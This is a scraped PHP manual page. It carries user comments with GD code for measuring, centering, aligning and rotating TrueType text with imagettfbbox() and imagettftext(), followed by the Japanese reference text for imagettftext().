  $max_x = max( array($box[0], $box[2], $box[4], $box[6]) );
  $min_y = min( array($box[1], $box[3], $box[5], $box[7]) );
  $max_y = max( array($box[1], $box[3], $box[5], $box[7]) );
  $width  = ( $max_x - $min_x );
  $height = ( $max_y - $min_y );
  $left   = abs( $min_x ) + $width;
  $top    = abs( $min_y ) + $height;
  // to calculate the exact bounding box i write the text in a large image
  $img     = @imagecreatetruecolor( $width << 2, $height << 2 );
  $white   =  imagecolorallocate( $img, 255, 255, 255 );
  $black   =  imagecolorallocate( $img, 0, 0, 0 );
  imagefilledrectangle($img, 0, 0, imagesx($img), imagesy($img), $black);
  // for sure the text is completely in the image!
  imagettftext( $img, $font_size,
                $font_angle, $left, $top,
                $white, $font_file, $text);
  // start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }
  // destroy img and serve the result
  imagedestroy( $img );
  return array( "left"   => $left - $rleft,
                "top"    => $top  - $rtop,
                "width"  => $rright - $rleft + 1,
                "height" => $rbottom - $rtop + 1 );
}
?>
peterjwest3 at gmail dot com 08-Apr-2010 06:18
As many of you know, this function is bugged in several versions of PHP. It should return the coordinates relative to the baseline of the font. So if your text includes characters like g and p then the bounding box should extend below zero on the Y axis, however it doesn't. This is a problem because imagettftext() positions text using the baseline, so all your text will be misaligned.

My solution is to create an image of the desired font and font-size using all ascii characters with imagettfbbox() and imagettftext(). The height of this image is used as the height for the real image.

I then analyse the image to get the vertical offset of the text (the background color should be $baseColor)
<?php
function getYOffset($image, $baseColor) {
    for($y = 0; $y < $this->height(); $y++)
        for($x = 0; $x < $this->width(); $x++)
            if (imagecolorat($image, $x, $y) !== $baseColor)
                return $y; }
?>

This offset can be used as the baseline for the font (for this font-size). You can use a similar trick for the horizontal offset, but that changes depending on the first character.
hkc@taiwan 22-Aug-2009 12:57
I want to output a bounding box of a text as an image straightly. I did like this:

<?php

$text = "<?php echo \"hello, world\"; ?>";
$font = "./arial.ttf";
$size = "60";

$bbox = imagettfbbox($size, 0, $font, $text);

$width = abs($bbox[2] - $bbox[0]);
$height = abs($bbox[7] - $bbox[1]);

$image = imagecreatetruecolor($width, $height);

$bgcolor = imagecolorallocate($image, 255, 255, 255);
$color = imagecolorallocate($image, 0, 0, 0);

$x = $bbox[0] + ($width / 2) - ($bbox[4] / 2);
$y = $bbox[1] + ($height / 2) - ($bbox[5] / 2);

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

$last_pixel= imagecolorat($image, 0, 0);

for ($j = 0; $j < $height; $j++)
{
    for ($i = 0; $i < $width; $i++)
    {
        if (isset($blank_left) && $i >= $blank_left)
        {
            break;
        }

        if (imagecolorat($image, $i, $j) !== $last_pixel)
        {
            if (!isset($blank_top))
            {
                $blank_top = $j;
            }
            $blank_left = $i;
            break;
        }

        $last_pixel = imagecolorat($image, $i, $j);
    }
}

$x -= $blank_left;
$y -= $blank_top;

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
Dario 05-May-2009 07:09
My solution to below-baseline characters is to simply apply a smaller angle and some padding when calculating your boundaries, so the function thinks your text goes below baseline. For example:

<?php
// GET BOUNDS OF TEXT
$bounds = imagettfbbox($size*1.05, $angle-3, $font, $text);
?>
Anonymous 06-Nov-2008 11:18
SIMPLE OVERLOADED FUNCTION: Adds TTF Center and Right Alignment to co ordintate points.
Correctly demonstrates the use of the bouning box TTF function and the array of coordinates that it returns.

After obtaining values and adjusting based on a set of values [L, C, R], it uses simple math based of the length of the text to move it from the origin (x = 0 )

<?php
function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L')
{

   //check width of the text
   $bbox = imagettfbbox ($size, $angle, $font, $text);
   $textWidth = $bbox[2] - $bbox[0];
   switch ($alignment) {
       case "R":
           $x -= $textWidth;
           break;
       case "C":
           $x -= $textWidth / 2;
           break;
   }

   //write text
   imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
?>
decimealgo at gmail dot com 04-Oct-2008 10:11
This is a function which reformats a text string into a text block of a given width.
Usefull when you have a long single line string and want to fit it into a fixed width but don't care about it's height

<?php
function makeTextBlock($text, $fontfile, $fontsize, $width)
{
    $words = explode(' ', $text);
    $lines = array($words[0]);
    $currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($fontsize, 0, $fontfile, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $width)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }

    return implode("\n", $lines);
}
?>
beosman at gmail dot com 22-Aug-2008 09:00
I was viewing the code for calculate the box of a text for a given font but I do not found one that works fine with different angles from zero, so I have made a function simpler than above:

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
  $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);

  $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
  $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

  return array(
    "left"   => abs($minX),
    "top"    => abs($minY),
    "width"  => $maxX - $minX,
    "height" => $maxY - $minY,
    "box"    => $rect
  );
}

?>

With this function you can center an angled string in any image:

<?php

  $mystring = "Hello world!";

  $imgWidth = 300;
  $imgHeight = 150;

  $image = imagecreate($imgWidth,$imgHeight);
  imagefill($image,imagecolorallocate($image,200,200,200));

  $box = calculateTextBox($mystring,"./Verdana.ttf",15,45);
  $color = imagecolorallocate($image,0,0,0);
  imagettftext($image,
               15,
               45,
               $box["left"] + ($imgWidth / 2) - ($box["width"] / 2),
               $box["top"] + ($imgHeight / 2) - ($box["height"] / 2),
               $color,
               "./Verdana.ttf",
               $mystring);

  header("Content-Type: image/x-png");
  imagepng($im);
  imagedestroy($im);

?>
Stefan at colulus dot com 30-May-2008 11:13
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 10:14
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
mihai.draghicioiu at gmailcom 14-Apr-2008 03:57
To get the height for a line of text, I've found it useful to do:

<?php

$bbox = imagettfbbox($size, 0, $ttf, " \n "); // space, newline, space

$height = $bbox[3] - $bbox[5];

?>

I hope this helps. Before, I used the string "Tj", but that sometimes fell short, especially for crazy fonts.
heshan at sjtu dot edu dot cn 07-Jan-2008 04:18
the imagettfbbox and imagettftext quirks are:

1. imagettfbbox and imagettftext have the same return value and both of them are wrong for angle not equal to zero.
2. imagettfbbox returns the correct bounding box when angle is zero.
3. the bounding box has a coordinate system that the x gets bigger from left to right and y gets bigger from top to bottom.
4. the "base point" used in imagettftext is the origin in the bounding box coordinate system.
5. when the angle is other than 0, it is actually rotated in the coordinate system with respect to the base point. so if we know the bounding box coordinate when angle is zero, we can get the new bounding box coordinate by doing the rotation by math equations manually.
6. to have pixel level accuracy, we should also be aware of another thing. suppose the axis is like this: |_|_|_|, the bounding box coordinate uses point on the vertical line while image function uses point on the horizontal line, so there is a 1 pixel difference you should take care of.

The following snippet creates minimal images containing a letter of different font and rotation angle. This is especially useful in captcha scripts.

<?php

function create_font_image( $size, $angle, $font, $char )
{
    $rect = imagettfbbox( $size, 0, $font, $char );
    if( 0 == $angle ) {
        $imh = $rect[1] - $rect[7];
        $imw = $rect[2] - $rect[0];
        $bx = -1 - $rect[0];
        $by = -1 - $rect[7];
    } else {
        $rad = deg2rad( $angle );
        $sin = sin( $rad );
        $cos = cos( $rad );
        if( $angle > 0 ) {
            $tmp = $rect[6] * $cos + $rect[7] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[2] * $cos + $rect[3] * $sin - $tmp );
            $tmp = $rect[5] * $cos - $rect[4] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[1] * $cos - $rect[0] * $sin - $tmp );
        } else {
            $tmp = $rect[0] * $cos + $rect[1] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[4] * $cos + $rect[5] * $sin - $tmp );
            $tmp = $rect[7] * $cos - $rect[6] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[3] * $cos - $rect[2] * $sin - $tmp );
        }
    }
    $im = imagecreatetruecolor( $imw, $imh );
    imagefill( $im, 0, 0, imagecolorallocate( $im, 255, 0, 255 ) );
    imagettftext( $im, $size, $angle, $bx, $by, imagecolorallocate( $im, 0, 0, 0 ), $font, $char );
    imagegif( $im, trim( $font, './' ) . ord( $char ) . $angle . '.gif' );
    imagedestroy( $im );
}

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$angles = array( -30, -20, -10, 0, 10, 20, 30 );
$fonts = array( './latinwide.ttf', './verdana.ttf', './times.ttf', './broadway.ttf' );
foreach( $angles as $angle )
    foreach( $fonts as $font )
        for( $i = 0; $i < strlen( $chars ); ++$i )
            create_font_image( 100, $angle, $font, $chars[$i] );
?>
intuz et gmx dt de 29-Aug-2007 11:45
I still got problems trying to rotate imagettftext using imagettfbbox.

It's position calculation is mostly wrong. So i tried to rotate ttftext with IMAGEROTATE.

As a special the result is in black fontcolor and transparent background.

Hope it helps sombody (thanks for function convertBoundingBox, reading below)

<?
function ImgText($text,$fontsize,$font,$angle){
$im = '';
    if($text){
        if(!$fontsize || $fontsize < 1) $fontsize = 12;
        if(!$font) $font = "fonts/arial.ttf";
        $bbox = imagettfbbox($fontsize, 0, $font, $text);
        $size=convertBoundingBox($bbox);
        $im = ImageCreatetruecolor($size['width'],$size['height']);

        $white = ImageColorAllocate($im, 255, 255, 255);
        $black = ImageColorAllocate($im, 0,0,0);

        imagefill ($im, 0, 0, $white );
        imagettftext($im, $fontsize, 0, $size['xOffset'], $size['yOffset'], $black, $font, $text);
        $im = imagerotate( $im,$angle, $white);
        imagecolortransparent ($im,$white);
    }else{
        // No text
    }
}
?>
bushj at rpi dot edu 10-Jul-2007 09:11
Apparently the bounding box returned by imagettftext and imagettfbbox is not the same, and it appears as though imagettftext does a better job at calculating the actual bounding box (maybe because it has to render every character and it then finds out really everywhere it rendered).

So, you can create a dummy image render the text to it and get a better box. Here is an example function:
<?php
function better_imagettfbbox($size, $angle, $font, $text) {
  $dummy = imagecreate(1, 1);
  $black = imagecolorallocate($dummy, 0, 0, 0);
  $bbox = imagettftext($dummy, $size, $angle, 0, 0, $black, $font, $text);
  imagedestroy($dummy);
  return $bbox;
}
?>
If you use this a lot, it would be better to keep one dummy image instead of continually creating and destroying images.
Ruquay 04-Jun-2007 04:12
Several comments show that the output of this function is often not what is expected, especially when the text is rotated.

For those of you who'd like a visual representation of what is happening to the bounding box as the text is rotated, take a look here:

http://ruquay.com/sandbox/imagettf/
Nate Sweet 01-Jun-2007 12:11
An improvement to the convertBoundingBox function. The previous function was completely wrong. My confusion came from characters like "1" and "_" that are rendered to the right or below the basepoint (in the font I'm using). I ended up using mike at mikeleigh dot com's function with a fix for these characters, and a "belowBasepoint" value.
<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $xOffset = -abs($bbox[0] + 1);
    else
        $xOffset = abs($bbox[0] + 2);
    $width = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $width = abs($bbox[2]) + abs($bbox[0]) - 1;
    $yOffset = abs($bbox[5] + 1);
    if ($bbox[5] >= -1) $yOffset = -$yOffset; // Fixed characters below the baseline.
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    return array(
        'width' => $width,
        'height' => $height,
        'xOffset' => $xOffset, // Using xCoord + xOffset with imagettftext puts the left most pixel of the text at xCoord.
        'yOffset' => $yOffset, // Using yCoord + yOffset with imagettftext puts the top most pixel of the text at yCoord.
        'belowBasepoint' => max(0, $bbox[1])
    );
}
?>
Nate Sweet 01-Jun-2007 12:07
It took me some time to make full use of imagettfbbox. Hopefully the following function makes it much easier to use for others.

<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $leftOfBasepoint = -abs($bbox[0] + 1);
    else
        $leftOfBasepoint = abs($bbox[0] + 2);
    $rightOfBasepoint = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $rightOfBasepoint = abs($bbox[2]) + abs($bbox[0]) - 1;
    $aboveBasepoint = abs($bbox[5] + 1);
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    $width = $leftOfBasepoint + $rightOfBasepoint;
    $belowBasepoint = $height - $aboveBasepoint;
    return array(
        'width' => $width,
        'height' => $height,
        'leftOfBasepoint' => $leftOfBasepoint,
        'rightOfBasepoint' => $rightOfBasepoint,
        'aboveBasepoint' => $aboveBasepoint,
        'belowBasepoint' => $belowBasepoint
    );
}
?>

Thanks goes to mike at mikeleigh dot com for providing the core of this function.

Remember, the basepoint is the x, y coords you use to draw text with imagettftext. A useful thing to do is take a string like...
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890
...and use the "aboveBasepoint" value for the height of your font. Now you can draw lines and use "the height of your font * leading" as the distance between lines of text, where leading is a number like 1.45 (for 45% leading).
Nate Sweet 30-May-2007 01:36
This script shows you side by side the difference between a font rendered at a certain size and the same font rendered at some multiple of that size and then scaled down by the same multiple. It seems to help small sizes and affects large ones less. This script lets you see if it is worth implementing for your situation. Included is the great "imagettfbboxextended" function by mike at mikeleigh dot com below.

$size = 30;
$factor = 16;

$smallSize = imagettfbboxextended($size, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$smallWidth = $smallSize['width'];
$smallHeight = $smallSize['height'];
$canvas = imagecreatetruecolor($smallWidth + 20, $smallHeight * 2 + 20);
imagefill($canvas, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($canvas, $size, 0, 10 + $smallSize['x'], 10 + $smallSize['y'], imagecolorallocate($canvas, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");

$largeSize = imagettfbboxextended($size * $factor, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$largeWidth = $largeSize['width'];
$largeHeight = $largeSize['height'];
$temp = imagecreatetruecolor($largeWidth, $largeHeight);
imagefill($temp, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($temp, $size * $factor, 0, $largeSize['x'], $largeSize['y'], imagecolorallocate($temp, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
imagecopyresampled($canvas, $temp, 10 + $smallSize['x'], 10 + $smallSize['y'] + 10, 0, 0, $smallWidth, $smallHeight, $largeWidth, $largeHeight);
imagepng($temp, "temp.png");

imagepng($canvas, "test.png");

function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
mike at mikeleigh dot com 28-May-2007 07:05
I have been testing this function for a while now and have come up with many of the same issues that other people have touched upon.  Not being able to calculate the width of the text correctly.  Or if a solution is found then it won't work with a hanging letter or a negative start letter like 'j'.

Like Ralph I also wanted to draw a box around some text and this would require me being pixel perfect with the font.  The trouble is I did not know which font would be used or which size.  This led me to come up with a solution which I am sharing below.

<?php
function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
?>

The function above gives the correct x and y coordinates that the text should be drawn from and also gives the actual image width and height.  This has been tested with various fonts and sizes ranging from 6 up to 144 points.  Some of the output will appear to be incorrect and have an extra pixel on the right, using verdana at size 144 and outputting the character 'Q' for example.  This is not an error as this is part of the anti-aliasing of the font output.

Example Usage:
<?php
$font = 'c:\windows\fonts\verdana.ttf';
$font_size = 144;
$text = 'jUyZgQ';
$bbox = imagettfbboxextended($font_size, 0, $font, $text);
?>

Return Values:
Array
(
    [0] => -8
    [1] => 40
    [2] => 715
    [3] => 40
    [4] => 715
    [5] => -177
    [6] => -8
    [7] => -177
    [x] => 6
    [width] => 722
    [y] => 176
    [height] => 216
)

Further notes can be found here along with images of the output of the function http://mikeleigh.com/links/imagettfbbox
lassial dot gmail dot com 24-May-2007 04:46
Ralph Bolton commented about the difference in calculating the bounding box size vs. aligning text base line.

The workaround for this issue is to calculate the difference in height between a character going below baseline and one above the baseline. This is likely going to vary from font to font, so I'd suggest something like this:

<?php

function fontBaselineOffset($font, $fontSize)
{
//this should be above baseline
$test2="H";
//some of these additional letters should go below it
$test3="Hjgqp";

//get the dimension for these two:

$box2 = imageTTFBbox($fontSize,0,$font,$test2);
$box3 = imageTTFBbox($fontSize,0,$font,$test3);

//return the offset value

return  abs((abs($box2[5]) + abs($box2[1])) - (abs($box3[5]) + abs($box3[1])));

}
?>

This is not perfect yet. You should define a range of allowed characters that can go below baseline, compare them to the ones actually found in your string and use them instead of the string $test3 used in the example function above. This should avoid problems with letters that go further below baseline than the others (e.g. there could be a difference between 'g' and 'p')
ralphbolton at mail2sexy dot com 23-Apr-2007 09:16
There's a bit of an annoyance with measuring font sizes and drawing boxes around text. When fonts are measured using ImageTTFbbox, the correct vertical height is returned. That is, the measurement of the phrase "Hanging" will be from the top of the "H" to the bottom of the "g".

The problem is that functions like imageTTFtext align with the "line" of the text - that is, in the phrase "Hanging", the alignment is below the "H", not the bottom of the "g". That means that if you draw a rectangle behind your text, it'll be incorrectly aligned because the hanging "g" will be outside the box.

For example, this doesn't work as you might expect (because the "g" hangs below the box):
<?php
// Get the size of the font box
$textbox = imageTTFBbox($size, 0, $font, 'Hanging');
$textwidth = abs($textbox[4] - $textbox[0]);
$textheight = abs($textbox[5] - $textbox[1]);

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x, $y - $textheight, $x + $textwidth, $y, $colour );

// Now draw the text
$black = ImageColorAllocate($im, 0, 0, 0);
ImageTTFText($image['resource'], $size, 0, $x, $y, $black, $font, 'Hanging');
?>
It also seems that the rectangle in the above example is located 1 pixel to the left of the text.

I haven't found a way to resolve this problem correctly. Instead, I have enlarged the rectangle and then put the text into it. I don't think this will work absolutely correctly for all fonts, so it's not exactly a perfect solution. However, it's better than nothing! Here is a snippet of it:
<?php
$enlargex = $textwidth * 0.08;
$enlargey = $textheight * 0.1;
$enlargey2 = $textheight * 0.5;

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x - $enlargex, $y - $textheight - $enlargey, $x + $textwidth + $enlargex, $y + $enlarge2, $colour );
?>
marclaz 31-Jul-2006 06:13
Please note that as imageTTFBbox and imageTTFText functions return an array of coordinates which could be negative numbers care must be taken with height and width calculations.

The rigth way to do that is to use the abs() function:

for an horizontal text:

$box = @imageTTFBbox($size,0,$font,$text);
$width = abs($box[4] - $box[0]);
$height = abs($box[5] - $box[1]);

Then to center your text at ($x,$y) position the code should be like that:

$x -= $width/2;
$y += $heigth/2;

imageTTFText($img,$size,0,$x,$y,$color,$font,$text);

this because (0,0) page origin is topleft page corner and (0,0) text origin is lower-left readable text corner.

Hope this help.
peisenmann at gmail dot com 28-Dec-2005 06:41
Another function for centered text string.
What it does: Generate a truecolor .png image of a text string. The image will be just large enough encompass the text and a 2 px border and the text will be centered in it.

It is called from any other page like so...
<img src="linkImg.php?text=php.net is great&border=out" /> // Text with #&+"'\<> will need to be escaped, but I've found spaces don't cause errors. I haven't tested this with any other languages.

The following code is the file named linkImg.php
The file was not designed to have anything else here with it, and the open and close php tags should the the very first and very last characters of the page respectively, as outside whitespace can be a little evil sometimes.
<?php
//Obtain text and border via GET
//Border can be out, in, or flat
$text = $_GET['text'];
$border = $_GET['border'];

  $font = "fontpath"; //(str) "fonts/sasquatchlives.ttf"
  $fontsize = font size; //(int) pixels in GD 1, or points in GD 2

//Register box
$box = imagettfbbox ($fontsize, 0, $font, $text);
//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH= $box[3]-$box[5];
//Add padding
$paddingx = 10;
$paddingy = 10;
//Set image dimentions
$width = $textW+$paddingx;
$height= $textH+$paddingy;

//Bottom left corner of text
$textx = $paddingx/2;
$texty = $height - $paddingy/2;

//Shadow offset (pixels)
$shadoffx = 1;
$shadoffy = 1;

//Create the image
 $img = imagecreatetruecolor($width,$height);
//Define some colors
 $white = imagecolorallocate($img,255,255,255);
 $black = imagecolorallocate($img,0,0,0);
 $lightgrey = imagecolorallocate($img,200,200,200);
 $grey = imagecolorallocate($img,100,100,100);
//Define Text (fg) and background (bg) colors
 $bgcol = imagecolorallocate($img,192,213,196); //Celadon (light pastel green)
 $fgcol = imagecolorallocate($img,243,104,88); //Peach
// Fill image with background color
 imagefill($img,0,0,$bgcol);

//Write Shadow
imagettftext($img, $fontsize, 0, $textx+$shadoffx, $texty+$shadoffy, $grey, $font, $text);

//Write Text
imagettftext($img, $fontsize, 0, $textx, $texty, $fgcol, $font, $text);

//Bordering

   //Embossed border (button-looking)
 if ($border == "out")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$lightgrey);imageline ($img,1,1,1,$height-1,$lightgrey);
   imageline ($img,0,$height-1,$width-1,$height-1,$black);imageline ($img,$width-1,$height-1,$width-1,0,$black);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);

  }
    //Flat border
 if ($border == "flat")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);
  }

    //Engraved border (pushed button)
 if ($border == "in")
  {
   imageline ($img,0,0,$width,0,$black);imageline ($img,0,0,0,$height,$black);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$lightgrey);imageline ($img,$width-2,$height-2,$width-2,2,$lightgrey);
  }

// Header info
 header("Content-type: image/png");
//Sends the image
 imagepng($img);
 imagedestroy($img);
?>

Hope this helps someone!
-Patrick-
ryan at retronetworks dot com 28-Mar-2005 07:46
Here is a function that lets you write a string with your own "font tracking" level (the amount of pixels separating each character).  It uses imagettfbbox to determine the width of each character, so it doesn't discriminate against the skinnier of characters.  For this example, let $t = the amount of distance in pixels you want to separate each character from its neighbors.

<?php
function ImageTTFTextWithTracking($im, $size, $angle, $t, $x, $y, $color, $font, $text) {
    $numchar = strlen($text);
    for($i = 0; $i < $numchar; $i++) {
        # Assign character
        $char[$i] = substr($text, $i, 1);

        # Write character
        imagettftext($im, $size, $angle, ($x + $w + ($i * $t)), $y, $color, $font, $char[$i]);

        # Get width of character
        $width = imagettfbbox($size, $angle, $font, $char[$i]);
        $w = $w + $width[2];
    }
}
?>

Be aware that it currently does not work for angles other than the 0 default (I have no need for that).


TrueType フォントを使用してテキストを画像に書き込む

  • ≪ imagettfbbox
  • imagetypes ≫
  • PHP Manual
  • GD および Image 関数
  • TrueType フォントを使用してテキストを画像に書き込む

imagettftext

(PHP 4, PHP 5, PHP 7, PHP 8)

imagettftext — TrueType フォントを使用してテキストを画像に書き込む

説明

imagettftext ( resource $image , float $size , float $angle , int $x , int $y , int $color , string $fontfile , string $text ) : array

指定した text を、 TrueType フォントを使用して画像に書き込みます。

注意:

imagefttext() は、 imagettftext() を拡張したものです。 extrainfo を追加でサポートしています。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

size

ポイント数単位のフォントサイズ。

angle

度で表される角度。0 度は左から右にテキストを読む方向になります。 0 より大きな値は、反時計回りの回転を表現します。例えば、 90 という値は下から上にテキストを読む方向になります。

x

x と y で与えられた座標は、最初の文字のベースポイント (ほぼ文字の左下角) を定義します。 この仕様は、x と y で最初の文字の右上角を定義する imagestring() と異なっています。 例えば、左上は 0, 0 となります。

y

y 座標。これは文字の最下位置ではなく、 フォントペースラインの位置を指定します。

color

カラーインデックス。負の数を使用した場合、 アンチエイリアス機能がオフになります。 imagecolorallocate() を参照ください。

fontfile

使用したい TrueType フォントへのパス。

どの GDライブラリをPHPが使っているかによって、 いつ fontfile パラメータの先頭が / で始まらず、 .ttf がファイル名に付加されるかが違います。 そして、ライブラリは自らが定義したフォントパスに従ってそのファイル名を探そうとします。

GD ライブラリ 2.0.18 より前のバージョンを使っている場合、 セミコロンではなく、space 文字が 異なるフォントファイルの 'pathのセパレータ' として使われていました。 この機能を意図せず使ってしまうと、次のような警告が発生します: Warning: Could not find/open font. この事象の影響を受けてしまうバージョンでは、 唯一の解決策はフォントをスペースを含まないパスに移動させることだけです。

多くの場合、スクリプトが使っているフォントと同じディレクトリにある場合、 次のようなテクニックで問題を軽減できるでしょう。

<?php
// GD の環境変数を設定
putenv('GDFONTPATH=' . realpath('.'));

// 使用されるフォント名 ( .ttf 拡張子の欠落に注意)
$font = 'SomeFont';
?>

注意:

open_basedir は fontfile には適用され ない ことに注意してください。

text

